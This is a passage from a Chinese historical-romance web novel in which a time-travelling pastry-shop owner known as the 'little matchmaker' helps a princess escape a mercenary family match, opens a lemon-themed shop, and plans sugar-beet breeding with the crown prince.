爹娘不是最疼她吗? 为什么会这样。 这个问题她找不到答案,可并不妨碍她去找黎兴。 不过去了苏家后,发现黎兴正在准备殿试文章,还是退后半步准备离开。 黎兴正好抬头,看到李雨情的眼睛红红的,手底下的笔顿住。 此时不应该开口,但他还是道:“雨情郡主,你怎么来了。” “我为什么来,你不知道?”李雨情就在窗子前问他,语气跟往日一样,带着几丝骄蛮。 若不是眼睛出卖了她,或许还真以为无事发生。 黎兴放下笔,起身道:“马上殿试,最近事情比较多。” “那你准备吧,我去找茵茵了。”李雨情直接道。 不过她还是没忍住,扭头继续说:“家里最近在给我说亲,一个亲王家的孙儿,丑得很,还有好多妾室婢女。” “你觉得这样的人能嫁吗。” 自然不能,黎兴张张嘴,但这话不能他说,转而道:“可以问问苏姑娘,她是小红娘,以前还帮人鉴别过。” 李雨情没听到想要的答案,扭头便走。 见此黎兴只好跟上。 到了苏茵茵面前,李雨情把自己的情况一股脑说了,她下意识道:“肯定不行啊,这种人一看就不是好东西。” “可是没办法,我只能嫁。”李雨情则道,“爹娘一向疼我,但这件事上并不让步。” “或许,这才是我对家族的意义。” 说到这,李雨情脸色变了下。 其实比起嫁人,她现在更难过的是这一点。 好像长大之后什么都不一样了。 至少她不能像小时候那般肆意快乐。 爹娘像是变了个人一样,他们在力所能及的地方宠着自己,却也在婚嫁之事上毫不留情。 “如果是你的爹娘,肯定不会为了更好的门第,让你嫁给不好的人。”李雨情对苏茵茵道,“这种感觉真的很难过。” 苏茵茵心里肯定。 她娘亲跟爹爹,还有哥哥,肯定不会的。 虽然爹娘不知道李锐渊真正身份,可也知道他家世不凡。 哥哥更是猜到了,第一反应是,跟对方再接近,肯定会吃亏。 可这些并不妨碍她能理解李雨情,甚至为她感到难过。 意识到爹娘没有那么爱她的时候,估计心里要疼千倍万倍。 李雨情察觉到她的情绪,反而更难过了。 人有时候就是这样,自己难过的时候还好,有人安慰便忍不住落泪。 这些泪也不是一时的。 是自从她长大后,面对真实世界的难过,有种被爹娘抛弃的感觉,瞬间没有了依靠。 黎兴站在旁边,递上帕子,认真问道:“那你接下来准备怎么办。” 李雨情接过手帕,直接道:“你娶我。” 别说黎兴,苏茵茵都被噎了下。 这也行的吗。 黎兴没有回答,只是微微叹气,同时他也羡慕李雨情快人快语。 避开黎兴之后,苏茵茵倒是给了个主意:“要不然问问你堂弟。” 李雨情眼睛一亮,放在之前,她肯定不敢去问的。 可她发现,对于感情上的事,太子好像很有兴趣。 “好,我去拜见皇后娘娘的时候,顺便去一趟。”李雨情高兴道。 不过她也想起来,自己经常去皇宫,同样是母亲让去的,说是陪着皇后娘娘说话,娘娘更高兴。 如今想来,就是让她跟宫里保持联系。 问题是,为什么是她? 她家姓李,跟皇上是同宗同族。 以前从不思考这些问题的李雨情,开始有了其他想法。 长大,有时候就是一瞬间的事。 不顾李雨情一直没找到机会,直到殿试结束,宫里才有时间。 今年殿试更偏向策论,考试的考生们个个叫苦连连。 主考官根本不管文笔,只管是不是能有实策。 这跟之前完全不同啊。 有人说,这些年皇上彻底稳定朝纲,所以有意改革,看来是真的。 风向就是从科举场上开始有变化。 这些跟苏茵茵的小店关系不大。 殿试开始的时候,她还在店里忙。 收拾收拾,准备开业了呀! 提前做好的招牌马上就要挂上去。 还有店里的菜单,也用心设计,到时候直接退出苏家点心第一批吃食。 柠檬系列! 苏家夫妇也经常过来,帮着做了许多事,不过看着女儿把所有事情安排的井井有条,心里还是无比自豪。 看看他们家女儿,多厉害。 同时老父亲心里还有点失落:“女儿从小就独立,现在长大,更不一样了。” 苏娘子朝他微微摇头:“不要说,我们只要好好疼爱女儿就好。” 他们两个唯一的愿望,便是女儿开开心心的,无论做什么都好,他们都会给她撑腰。 苏茵茵带着爹娘转了一圈,高兴道:“娘,你看店里还有什么需要补充的吗。” 苏娘子指了几处细节,其他的也没什么了:“很棒,第一次开店就这么厉害。” “我从小跟着娘,肯定都学了。”苏茵茵不好意思道。 几个人说着话,苏显从外面走进来,脸上罕见惊愕,他开口道:“殿试成绩张贴出来了。” 眼看中午,也确实该出来了。 但哥哥惊讶什么。 “今年的状元,是黎兴。” 谁? 黎兴?! 别说苏显诧异了,苏家所有人都带了震惊。 借住在他家的黎兴,考上了状元?! 他会试十三名,已经够厉害了。 没想到殿试成绩竟然这般好。 “都说他得了主考官的偏爱,因为今年题目就是关于农耕的。” 怪不得。 家里务农的黎兴对此非常熟悉,加上他学问本就扎实,让他给出建议,那还不是轻而易举。 可此刻最为这个结果震惊的,反而是另一户人家。 郡王府内。 郡王妃找来李雨情,立刻道:“你之前认识的进士,他叫什么名字?” 最近一直没出门的李雨情不明所以,问这个做什么,她最近恹恹的,性格也没那么跳脱了。 母亲问话,她还是老实回答:“回母亲,黎兴。” “黎兴,果真是黎兴?你跟他关系到底如何?”郡王妃追问道。 李雨情微微摇头:“现在不好了。” 这让郡王妃皱眉,不过脸上还是浮现笑意:“之前你说有意于他,娘也是觉得很好,如果这事能成,娘绝对支持。” 为什么突然支持。 李雨情想了想,直接道:“殿试成绩出了?” 必然是黎兴成绩极好,这才让母亲改口。 郡王妃笑着说:“还是女儿眼光好,他考上了状元,皇上钦点的状元郎。” “你跟他的事尽管放心,娘最疼爱你,一定会安排好的。” 李雨情不敢置信,心头泛起恶心。 是那种奇怪的恶心。 明明她应该兴奋,为自己能够达成心愿高兴。 可完全没有那种想法。 又或者母亲还是不喜欢对方,那她还可以解释,母亲就是不喜欢这样的读书人。 偏偏黎兴考上状元,母亲把她拉过来,说她的眼光好。 李雨情后退几步,觉得眼前的母亲非常陌生。 她母亲还笑着对身边人道:“平日最宠她,凡事都由着,看来这婚事,也只能听她的了。” 是听她的吗。 李雨情跑出母亲房间,她想问问娘亲,自己到底是什么。 是真心疼爱的女儿,还是用来交换的货物。 跟亲王家的孙儿更有利,那就嫁给那家孙儿,跟黎兴更有利,那就跟着黎兴。 如果她什么都没有察觉就好了。 这会肯定没心没肺的去找黎兴。 但此刻她真的能去找吗。 恐怕不行。 他是进士,自己是郡主的时候,对方就看不上自己。 如今都考上状元,想巴结他的人多了。 李雨情擦擦眼泪,很快母亲身边的嬷嬷过来,让她准备准备,快些去找黎状元才是,省的被人抢了先。 家里的着急,几乎出乎李雨情的预料。 她本能察觉到,或许是跟朝中局势有关。 可她之前就没关注过这些事,如今更不知道所为何事。 此刻的苏家紧闭家门,就连慧女点心也关上门了。 生怕来提亲的人家把门槛挤破。 自从黎兴考上状元的消息出来,无数人找过来,就是想见见状元郎。 苏家自然不能幸免,无数人都上门打听。 还在当值的苏指挥使都被问的心烦。 宁郡王那边还有若有所思,提醒道:“朝中即将要出新政,大家都摸不到门道,这会出来的状元黎兴正好是个机会,谁家让他做夫婿,便是对新政最好的靠拢。” 苏茵茵跟苏显在家也这般分析。 苏茵茵道:“朝中说重农耕,也还没个章程,会试是个信号,今年的状元更是旗帜,谁抢了这个旗帜便是投诚了。” 所以外面大门敲的震天响,就是为了抢人向皇上表忠心。 以前就知道京城贵人多,也知道京城住着皇上皇后太子。 如今才有了真实感。 苏茵茵托腮听着,觉得还有些奇妙。 李锐渊面对这些的时候,在做什么? 等到黎兴回来,外面的人越来越多,还好巡查司的人过来将他们驱赶,一家人这才松口气。 黎兴万分感激。 幸好是住在苏家,若在其他地方,说不定婚事都被按着签下了。 他们是松口气。 外面的说法却越来越不一样。 今科状元住在苏家。 苏家还有个十四五岁的女儿,长得好看,人也有福气。 提起她的名字,京城很多人都知道。 难不成他们两个定亲了?! 也有可能! 慧女点心开门之后,就听到这样的消息。 苏娘子哭笑不得,连连解释。 此事还未消停,苏显好友,孟三公子抽空前来,同样在问这件事。 孟三公子甚至道:“我还以为咱们两家能好上加好,你妹妹真的跟黎兴定亲了?” 苏显皱眉:“孟三,不要乱说。” “这有什么乱说的,你跟我妹妹,我跟你妹妹。” 话还没说完,只听家门又被敲响。 黎兴考个状元,苏家的门都要敲坏了。 不过这次进门的人,孟三没看到身影,但总觉得在哪里见过。 苏茵茵见李锐渊过来,下意识道:“黎兴他们见过你,你还敢来?” 之前就算了。 大家都不认识什么太子。 但黎兴也好,孟三也罢,他们都参加过的殿试,都见过当朝太子。 李锐渊听到黎兴的名字,表情微动,很快藏了下去。 苏茵茵是想装作没看到的,可她又不是那样钝感的人。 两人不必多说,都明白此行目的。 李锐渊道:“最近见过李雨情吗。” 没有啊,怎么了。 苏茵茵大眼睛里充满疑惑。 “她被关在家中,她娘打了她一巴掌。” 还有这事!? 为什么。 李锐渊直接道:“她家让她主动来找黎兴求亲,她不愿意,所以被打。” “你可以问问黎兴对此事的看法。” 苏茵茵何等聪明,很快理清前因后果。 之前的黎兴是二甲十三名,郡主家肯定看不上。 如今成了新政旗帜,必然会抢着要。 李雨情必然因为家里反复,也因为察觉到自己本以为无私的疼爱,其实掺杂利益交换而悲痛欲绝。 这种情况下,原本可以万分直白的求亲,就变成难以言说的别扭。 经历过这么多事,那个可以大大方方问黎兴喜不喜欢自己的李雨情,已经被自己藏起来了。 所以她宁愿挨打,被关起来,也不愿意来求求黎兴。 这方面,她还是那个郡主。 但李锐渊是为这事过来的吗。 “是借口,我也想知道,你会不会订亲。”李锐渊直白道。 好像自从坦白身份之后,李锐渊整个人不装了,他就是要问,就是要说。 好在看见苏茵茵,他就知道答案了。 李锐渊还主动道:“问问黎兴吧小红娘。” 他们认识十一年,这还是李锐渊头一次提小红娘。 目的当然不是撮合姻缘,就是让那位赶紧离开。 管他定什么人家,先跟茵茵撇清关系再说。 对于现在的苏茵茵来说,明知道对方在干什么,可她确实会如实传达。 李雨情现在肯定很难受。 长久以来给与支持的家人突然变了张脸,突然发现自己是无依无靠的,这种感觉会让人崩溃。 一处浮萍是没有安全感的。 更别说是古代。 即使这个朝代已经足够安稳,可身为女子,她很能理解李雨情现在的心情。 甚至自己还要更幸运一点,她有全心爱护她的家人,即使这样,那点不确定也在影响着她,何况面对突然变脸的李雨情。 “你先走吧,我去问问。”苏茵茵答道。 “不行。”李锐渊坚持,“我也要去。” “他肯定认识你。” 孟三殿试成绩依旧是二甲,说不定离得远,看不清太子长相。 可身为状元的黎兴,必然认识他啊。 “那你把我藏一藏,怎么样。”李锐渊坚持道。 眼看苏显跟孟三都要出来,李锐渊反而站的更稳。 状元在自家,已经让家里大门要被敲破。 如果知道太子在这,那他们还不如连夜搬家的好。 李锐渊就像在自己家一样,径直走向苏显院子的书房,要不是苏茵茵赶紧拉着他躲开,真要让孟三看到。 想了一会,苏茵茵干脆把他藏到哥哥书房的窗子下面,自己也站在窗外,跟屋内发呆的黎兴打招呼。 “黎大哥,你在忙吗。” 黎大哥。 半坐在窗子下面的李锐渊抬头看她,眼神像是有实质一般。 黎兴起身道:“没有,苏妹妹怎么了。” 苏妹妹。 李锐渊嘴角带了冷笑,给苏茵茵比了个口型:“直接说。” 苏茵茵才懒得看他,倒也说不废话道:“雨情郡主最近的情况,你知道吗。” 出乎她意料的是,黎兴从桌子上抽出一张请帖:“她家请我去赴宴。” 明知道李雨情的尴尬。 她家还这样做?! 黎兴明显也察觉到不对劲:“如果她自己来送,那还好些,怎么是家人客客气气给我。” 翻译一下。 郡主强行塞给他请帖,命他一定要去,那是正常的。 她家极为礼貌送帖子,反而有些不对劲。 “那你要去吗。”苏茵茵道。 黎兴皱眉,反问道:“苏妹妹,你是不是知道什么。” “知道一点,你确定要听吗。听的话,一定会影响你的选择。” 苏茵茵更为直接。 想知道对方的事,就说明想要建立联系。 如果你不想建立的话,最好的选择,便是漠视,听了,就要承担后果。 到时候做什么选择,都会很艰难。 黎兴听到苏茵茵的话,沉默许久,最后做了个艰难的决定:“听,还请苏妹妹告知,雨情郡主她怎么了,是不是家人逼迫她了。” 等苏茵茵如实说完。 黎兴长舒口气,看着桌子上的请帖:“我会去的。” 显然,他已经做好决定。 苏茵茵则无奈。 小红娘这个技能,怎么还是被动的啊。 第56章 “雨情郡主,换好衣服,准备见客人了,今日家中宴会,可不能丢人。”嬷嬷催促道。 李雨情摸了摸脸,红肿早就消下去,可她还觉得火辣辣地疼,开口问道:“这次又是谁?” 不管是谁都行,不就是嫁人吗,她不介意。 至于黎兴,他肯定不会出现。 想来家里肯定给她安排的其他人。 可宴会上黎兴出现时,李雨情脑子空白片刻。 他怎么来了? 眼看无数人恭维,黎兴却还是在看她,准确说是看她的脸颊,没有骚扰没有轻浮,像是确定有没有伤一样。 这种眼神绝对不一样,李雨情能察觉。 李雨情拉住亲王家的孙儿,开口道:“状元怎么来了。” “你家请来的啊,你不知道?”那孙儿笑着道,“真没想到啊,对了我家准备把妹妹许配给他。” 李雨情觉得没意思,她之前以为这些跟自己没关系,如今却知道,他们都是一样的。 孙儿继续道:“你也别倔了,生在咱们这种人家已经是万幸,还不如早点挑个合适的,我就不错,至少我肯定不会欺负你,而且你也不会让人欺负啊。” 两人嘀嘀咕咕,李雨情没有半点心动。 她有时候在想,为什么皇宫跟家里这么不同,都是姓李,太子还鼓励她死缠烂打,也不觉得黎兴身份有什么不好。 就连皇后娘娘听说后,也只是好笑地点点她的头,让她找到自己喜欢的就好。 都姓李,怎么那么不一样啊。 黎兴走到她面前,李雨情都没发现,还在水边喂鱼。 等她抬头看过去,只听黎兴道:“半年后我会外放,应该是偏远之地,风沙极大,你能接受吗。” 李雨情震惊万分:“你知道自己在说什么吗?” “知道。”黎兴确定道,“到时候日子没那样好,你或许不能经常玩乐,没有亲朋也没有汴京这样好的天气。” 黎兴絮絮叨叨说了许多。 大概意思就是,讲了他接下来的打算,会很苦,会很累。 询问对方能不能接受。 能接受吗。 能啊。 李雨情罕见委婉道:“苏妹妹,还真是小红娘,一点都不掺假的。” 在她踏入苏家门的时候,她的姻缘就定下了。 估计她家完全想不到,等到半年之后,他们就会离京。 到时候什么算盘都落空了。 而她未来相公的性格,怎么可能做他们的棋子。 原本蔫蔫的雨情郡主心里高兴起来,对一直看她的孙儿道:“别想了,我才不嫁你。” 黎兴笑。 终于又像以前的她了。 苏茵茵自然知道这些事,金科状元的姻缘大事,跟郡主如何认识,如何结缘。 再加上小红娘苏茵茵在其中,她必然会知道啊。 所以在她店铺开业的时候,前来凑热闹的顾客都排起长队。 四月二十五,苏家新店开业的时候到了。 苏奶奶甚至都提前送了礼物,她身体不好,不能过来,可对苏家点心重新开门,还是很开心的。 苏指挥使特意请了一日假,也来帮忙。 还有苏娘子,苏显,全都准备好了。 上午吉时到,苏茵茵还在人群里看到李锐渊。 还有很多朋友们也来捧场。 特别是她这么多年撮合的小夫妻们,大部分都带着孩子们过来。 围观的顾客偷偷数着,极为震撼。 怪不得都说她是小红娘,真的没错。 李雨情跟黎兴并肩站着,笑着道:“吉时到了,该揭招牌了!” 苏茵茵点头,一家人都站在她身边,等着她揭晓。 红布掀开。 苏家点心的招牌出现在大家眼前。 以后的苏家点心,便是苏茵茵的店铺啦。 “店里都卖什么点心啊,跟慧女点心一样吗?” 顾客立刻问道。 苏茵茵笑着跟大家解释:“不一样哦,今年夏天推出柠檬系列,欢迎大家品尝。” 柠檬这种水果,大家都已经知道了。 但柠檬系列? 都有什么东西? 等顾客进到店里,酸酸甜甜的柠檬香味扑面而来。 柜台后的菜单上写着柠檬系列四个大字。 下面则是供应的点心跟餐食。 柠檬凉面可以理解,柠檬红茶也可以,还有冰沙,柠檬水,以及柠檬奶冻? 苏茵茵没让客人们疑惑太久,一盘盘展示用的食物摆上来。 每一样都让人心动。 这样的味道,真的很适合夏天啊。 怪不得是夏天的系列。 一时间,无数人涌进来,一定要尝尝夏天的味道。 柠檬系列一日之内火遍京城。 有些人还担心苏家点心会抢慧女点心的生意,实际上根本不会。 这两家店都好吃,都想去排队! 人怎么不能分身呢,那样就可以同时去排两家队伍了! 原本因为红娘名声吸引过来的客人,瞬间倒戈。 姻缘很重要,美食同样重要! 忙碌一天的苏茵茵眼睛都是亮闪闪的。 好开心。 爹爹娘亲给她的店,她还开起来了。 一家人陪着她往家的方向走,只觉得晚风温柔,好像一切不开怀都能吹散。 她好棒啊。 她既有家人可以依靠,同时也可以自己做出一番事情。 就像是之前放的风筝,风筝想怎么飞就怎么飞。 同时还可以被家人保护着,想回来便回来。 在这一瞬间,苏茵茵好像明白黎兴前后不同的选择了。 刚开始觉得郡主离自己太远,他不应该有想法。 之后凭借自己的功名,把两人距离拉进了些,这才敢迈出那一步。 因为他的内心给了自己支持。 回到家后,苏茵茵还是拆开李锐渊给她送的开业礼物。 并不贵重的东西。 一个巴掌大小的招财猫。 小猫憨态可掬,上面写着恭喜发财四个字。 这四个字她认识。 分明就是李锐渊的笔迹。 招财猫不会是李锐渊做的吧? 苏茵茵坐起来认真看,还真找到蛛丝马迹。 招财猫的衣服上有个小蝴蝶,也是李锐渊的手笔。 如果是贵重的礼物,她还能送回去。 但这是亲手做的,比贵重还要更珍贵些。 不过这个招财猫并未被她带到店里,干脆放到房间里算了。 苏家点心还用招财吗,每日的客人都很多,就算其他店铺学了他们的吃食,可味道依旧不如苏茵茵的手艺。 整个京城提起来,最正宗的柠檬手艺在哪,那还是苏家点心。 消息传到老家肃河村,苏奶奶还很高兴,身体都好了些。 这一直是她的心病,没想到有生之年还能看到苏家点心重拾往日的荣光。 苏茵茵暂时没想那么多,她只是尽力做好的自己的事情而已。 同时还被郡主家请去做宾客。 雨情郡主请她过去的时候,还颇为不好意思:“我母亲说,此事肯定要谢谢小红娘,所以特意请你去家中坐坐。” 高门大户请她去,就不止是感谢了。 也是告知高门大户其他人家,他们不是故意跟状元结亲,其实是因为姻缘天定。 这可是小红娘撮合的婚事。 为里面的利益交换扯一层好看的纱衣。 所以李雨情道:“我跟黎兴的意思是,你不去就好,省得以后有什么事,再找上你。” 苏茵茵确实怕麻烦,而且按照郡主家的作风,她过去只怕会不自在。 但想了想道:“我还是去吧,反正吃顿饭而已。想借名头就借呗,她又不介意。” 她从心底里希望,黎兴跟雨情郡主日子好过。 毕竟确实因为她结识,干脆送佛送到西。 李雨情惊喜:“真的?宴会上我一定会好好照顾你,有些人说怪话千万不要理,宫中都不待见他们的。” 苏茵茵点头,不过她有些好奇,怪话能怪到什么程度,宫中为什么不理。 他们不都是李姓吗? 但是再想想,同为皇室宗亲,内部也确实有分歧。 比如说囚禁李锐渊的那支废太子叛军,同样姓李。 这么说的话,如今不被宫中待见的皇室族人,有可能之前更倾向废太子吗。 有的想墨守成规,有的想攀上新政。 总之各有各的打算。 李雨情还在想怎么解释,却不知道苏茵茵对此已经了然,她并未刻意分析,更像一种本能。 从蛛丝马迹里找到正确答案,分析出局势的利弊。 李雨情总觉得眼前的苏妹妹有些不同。 好像不用担心她? 上次参加大户人家的宴会,好像还是小时候,那时候张姐姐派人来请她。 要说紧张害怕,倒也没有,苏茵茵更多是好奇。 进到郡主家的园子,却没有惊艳之感。 或许是在宁郡王家的园子逛多了? 其他人看到苏茵茵,还以为她就是个西市小官之女的普通女子,最多有些福气,撮合不少好姻缘,同时又有些做吃食的手艺。 但归根到底,也就是个普通丫头罢了。 跟他们皇亲国戚,高门大户,完全是两个世界的人。 可见到她时候,才发现这个女子出奇的漂亮,特别是那双眼睛,像是浸过水一般,好看的让人侧目。 再看她的衣着,不算格外华丽,但也不落下风,还有一种贵族女子没有的轻快。 李雨情主动迎上来:“茵茵来了。” 苏茵茵笑着行礼,众人只见她礼数周全,说话斯文端庄,显然也是读过书的。 “这是我母亲,这就是苏茵茵,苏妹妹。”李雨情给母亲郡王妃介绍道。 “见过郡王妃。”苏茵茵笑着道,“郡王妃万福。” “好孩子,一直听说过你的名字,今日一见,果真不一般。”郡王妃笑着道,“听说你手底下的铺子也名噪京城,果真是好的。” 郡王妃笑的和善,如若不知她的作风,肯定会把她当和善的长辈。 苏茵茵笑着谦虚,不卑不亢,进退有度。 宴会正式开始,不少人的目光透着打量。 越是这种时候,苏茵茵反而越稳得住。 无论是什么样的目光,她都能泰然自若。 李雨情更是诧异,她以为再淡定的人,面对其他人的打量,都会紧张。 但苏妹妹真的不会哎。 苏妹妹不会因为别人目光自卑,也不会因为旁人的示好投诚。 总之高门贵族那一套,对她完全没用。 以前也有普通人家的女孩子闯进宴会而格外尴尬的事。 要么格外凸显自己的不同,让大家看笑话。 要么有人稍微示好,便感激涕零,成为某家小姐的跟班。 苏茵茵心道,这种处境才是我擅长的。 格格不入的场合,还有不知道有谁能支持你的境地,反而是她习惯的环境。 以及突然而来的关怀悲悯,她不会排斥好意,但知道一时的悲悯跟怜爱不能持久,也不能依靠。 宴会结束,有不少人真心过来交好。 有的因为她小红娘名声,还有因为她做的点心实在好吃。 出了宴会,苏茵茵刚走几步,就看到一辆眼熟的马车。 李锐渊的车帘掀了个小角,明显请她上来。 如果再等一会,只怕他会自己下来。 这里认识他的人,可太多了。 苏茵茵无奈,只好上了马车,不用多说,马车就知道要往哪个方向走。 宴会上的事李锐渊都知道,所以不用多问,茵茵一向厉害,他知道的。 李锐渊手里还有株植物,给了苏茵茵道:“你看这个。” 苏茵茵奇怪接过,不接就算了,这下傻眼。 甜菜。 可以熬制白糖的甜菜。 “这是不是你说的,可以熬糖的甜菜。”李锐渊道,“寻了多时,像是这个。” 两人之前无话不谈,可苏茵茵没想到自己说的,李锐渊都记住了。 她家做点心,肯定会注意白糖,蜂蜜等物的价格。 人们生活越好,对甜类的需求就会越多。 当时因为价格波动,她家还想办法从其他地方买了糖回来。 应该就是那会,跟李锐渊说过甜菜的事。 好几年前随口一说,他还真去找了。 “找了多久。”苏茵茵忍不住问道。 “派人寻了三四年,总算寻到相似的。”李锐渊并不邀功,只是疑惑道,“如今根部稍有甜味,却不能熬糖。” “培育啊,就跟培育小麦稻子一样,有选择的培育,只要到一定阶段,一定能熬糖的。”苏茵茵道。 “这么好的东西,一定要推广才成,对了,你家不是有温泉山庄,那不就可以在里面模拟四季,培育速度更快了。” 模拟寒冷天气就建造冰室,更热的天气就在温泉山庄。 稍加控制,就能模拟四季了。 这对苏茵茵来说并不难想,可在这个时代,却是完全不同的。 李锐渊开口道:“在我看来,茵茵你比状元还要厉害。状元三年一个,你却是独一无二。” 此刻不像是在哄人。 而是十分认真的夸赞。 是发自内心认为,苏茵茵在这个世界上独一无二,她远比什么状元要厉害的多。 这份称赞让苏茵茵沉默片刻,看向李锐渊的眼神,她也道:“你说的没错,我确实独一无二。” 穿越的人哎。 好像确实不多见。 话说出来,让苏茵茵好像更开心了。 她不需要别人肯定也能过得很好。 可谁又会拒绝别人真心的夸赞呢。 苏茵茵把甜菜翻来覆去的看:“培育吧,好多人都喜欢吃糖,虽然过犹不及,但至少这个东西价格能降下来。” 糖是人类生活必需品,补充能量,填补快乐。 以后真是可以做炸,药,还能处理伤口。 “好,按你说的,把温泉山庄腾出来。”李锐渊说完,又道,“除了你去过的那个主殿,其他地方拨给户部以及田大人。” 等糖价格下来,整个万龙国百姓的生活都会往上提升一阶。 苏茵茵不知道是,李锐渊讲按她说的做,同时还要向负责此时的田大人说明此事的功臣是谁。 东宫不少臣子,已经知道苏家点心苏茵茵跟太子之间认识,并且熟识。 还知道她在柠檬推广,以及柠檬种植以及主粮之间的竞争。 这些道理,已经让臣子们知道她的不凡。 此刻提出的熬糖,培育甜菜,更是让人吃惊。 “她完全可以做女官了。”东宫臣子道。 李锐渊笑:“岂止。” 金彦磊在旁边瑟瑟发抖。 他好像明白太子的意思了! 他要娶苏茵茵当侍妾! 还有第二个可能吗? 总不会当太子妃吧。 金彦磊觉得自己窥见真相,去找苏茵茵的时候还格外小心。 苏茵茵得知他要跟着田大人一起去温泉山庄,特意跟自己告别时候,还有点奇怪:“那就去啊,是好事。” 金彦磊没巴结上,只好摸摸鼻子,也不敢乱说话,最后买了所有点心,收拾收拾去办差。 跟他擦肩而过的,正好是孟三公子,孟三身后还跟着孟小姐。 两人经常过来,笑着问苏茵茵:“显弟呢?我有段时间没去书院,一直没见到他。” 金彦磊看了看这人,带着点心离开。 这些刚考上进士的人就是好,完全不用办公的。 等真正当差就老实了,还见好友,回家都没时间。 苏茵茵道:“还在书院吧,孟三公子怎么有空,我看他们说殿试结束很忙的。” “还好,不过是些宴请,我都不愿意去。”孟三公子看着苏茵茵,只觉得苏家人可真会长,专挑爹娘优点生。 孟三公子没话找话:“最近翰林院太忙,就没去书院,抽空还是要回一趟。” 原本以为苏妹妹会好奇翰林院的事,见她忙着擦杯子,只是倾听,反而更高兴了:“你知道吗,翰林院一点不像想象中严肃,大家乱糟糟的,天天吵架。” 苏茵茵虽然没见过,但她上过历史课,官员们打起来都正常的,不过她还是道:“吵什么呀。” “新政呗,估计等到明年,新政会正式实施,朝中反对的人不少。” 孟三公子一知半解,他刚刚踏入朝堂,自己都是愣头青。 苏茵茵心道,施行新政,就会触及老人利益,肯定要吵。 千百年来吵的就是这么点事。 有时间不如提高一下粮食产量,发展发展新技术。 可惜她只会做做点心,其他的一窍不懂。 孟小姐听着他们说话,跟丫鬟分享点心,还下意识往外看。 但他们待了半个时辰也没看到苏显过来,只好告辞离开,说有空再来。 谁料两人走了没多久,苏显便出现了。 “哥,你不会是故意躲着他们吧。” 苏显罕见无奈道:“嗯。” 看着店里其他人不需要自己帮忙,苏茵茵问出心中疑惑:“哥,你是不是有事瞒着我呀。” 苏显揉揉妹妹头发:“一些小事。” 他们兄妹两个都有点闷葫芦性格,就算说话也很少说出心声。 这点倒是跟苏家一脉相承。 等到关门回家,苏显吩咐道:“若孟三再来找,就说我最近很忙即可。” 这就是要婉拒的意思。 苏茵茵想了想,还是追问道:“那孟小姐呢?” 苏显似乎想到什么,微微摇头:“不合适。” 不等苏茵茵再说,苏显干脆道:“跟黎兴那种情况不同,是我没那个想法。” 看样子,颇有些哥哥恋情无疾而终的感觉。 不过哥哥又不是很难过,估计刚刚起头,便消散了? “好了,不用担心哥哥,最近原锐来过吗。”苏显明显更担心妹妹。 提到这个,苏茵茵小脸再次皱起来。 头疼。 她也不想说。 兄妹俩相视一笑。 怎么都不爱说自己的事啊。 苏茵茵拉着哥哥胳膊,轻轻晃着:“哥,你一定会考上科举的。” 苏显再次惊叹妹妹的敏锐,认真道:“会考上的,哥哥会让咱们家都过上更好的日子。” “现在就很好了。”这是苏茵茵的实话。 很快,苏茵茵就知道她哥要奋力科举的原因了。 黎兴跟李雨情婚事在即,事情进行的顺利,李雨情也有机会来找苏茵茵玩,她藏不住事,把前几日听说的事全都讲了清楚。 “黎兴在你家借住,跟你哥哥又是好友,所以同去了一个诗会,在那碰到了孟家大哥。”李雨情斟酌片刻,但也觉得苏茵茵不会被这种事动摇,继续道,“好像问了你爹爹在兵马司怎么样,问你哥科举情况,又问了你多大年纪。” 当时黎兴听着都傻了,立刻制止对方。 话虽然没有说完,但明显知道孟家的意思。 既觉得苏指挥使官职太低,又觉得苏显如今只是秀才。 至于顺嘴问一句苏茵茵,则是一种提醒。 苏显跟孟三在山家书院是好友,跟孟小姐见过几次,基本都会避嫌。 每次孟三提起时,他都会婉言拒绝,但对方没说太过的时候,也就算了。 上次因为黎兴的事,对方着急说出那话,让苏显很是不高兴,之后基本都不再见面。 这也是孟三公子说许久没见苏显的原因。 谁能想到,孟家长兄都知道他们兄妹俩的想法,诗会上碰到后,甚至过来特意提醒。 聪明人之间点到为止,却已经足够羞辱。 自己就罢了,妹妹也被牵连。 前几日孟三跟孟家小姐去苏茵茵店里,估计也是想等着苏显,把这事解释清楚。 原来是这样。 怪不得哥哥不同她说。 也怪不得哥哥燃起斗志。 她哥考秀才那年,就是赶鸭子上架,为了省读书束脩,逼着自己一定考上。 这次又给了哥哥压力。 要说孟家确实有自傲的本事,在京城中很常见。 孟家长兄已经是进士,二小姐嫁得不错,三公子也是进士,如今在翰林院做事,最小的孟小姐,不说生的花容玉貌,也着实不错。 这种门第,自然瞧不上七品武将的苏家,苏显还只是秀才,苏茵茵更不用提。 但千不该万不该,是苏显早就拒绝过此事,孟三却还将此告知家中。 八字还没一撇呢,便有人直接点破,话里话外就是让苏显看清自家情况,不要有太多想法。 李雨情道:“京城中拜高踩低的门第极多,可他们不知你哥哥的才华,更不知道你的聪明。要我说是孟家配不上你。” 这是李雨情真心认定的。 苏茵茵可不止好看,别看她年纪小,做事却举重若轻。 不是谁都能开好一家店铺,也不是谁都敢仗义执言。 甚至能准确分析利弊,她该去做女官的。 苏茵茵反而安慰她:“不要为那些人烦恼了,我又不介意。门第差距,也是客观存在,人家也没有必要一定发现我好与不好。” “相比之下,还不如好好做慧女点心的新品,你要不要尝尝。” 新品! 什么新品呀。 李雨情高兴追问。 那还有什么,那么多经典点心还没出来呢,肯定是蛋挞啊。 等这些经久不衰的点心一一推出,她肯定手握好多连锁店,还管谁能不能看上她,这根本不在考虑的范围。 “已经在烤了,到时候会在两个店同时售卖,我相信还会同时排队!” 第57章 苏茵茵说的非常对。 蛋挞开售当天,两个店铺全都排着长队。 毕竟谁闻到蛋挞的香味,不会为此驻足。 等吃到之后,更不用说,继续排队买! 如果说一个厉害的点心出现,可以说偶然,但慧女点心跟苏家点心这几年里,推出好多厉害的点心啊。 最让大家诧异的是,这些点心,大家基本都做不出来,人家真的有秘方。 不过即便如此,模仿她家也能赚不少钱就是了。 所以但凡她家有新品出现,同行跑的比顾客都要快。 “这次的点心还是她家的风格,奶香加上酥皮,真是好吃啊。” “这甜味可真好啊,不过原料肯定不便宜,这用的还是上好的材料。” “她家一贯如此,味道好,材料好,唯独就是卖的太少了,算是唯一的缺点。” 不少人认同点头。 那也没什么办法啊,她家做事就跟用这材料一样,一向稳扎稳打,绝对不会盲目扩张。 两家店面的新品,再加上新店的柠檬制品,开启了京城的夏日。 苏茵茵明显能感受到身体的变化,她个子又长高了些,脸庞也由稚嫩的婴儿肥变成尖尖的下巴,整个人高挑轻盈,却也不失女子的体态。 这种变化让苏家登门的人越来越多。 基本就是两件事。 兄妹俩的婚事,是要提上日程的。 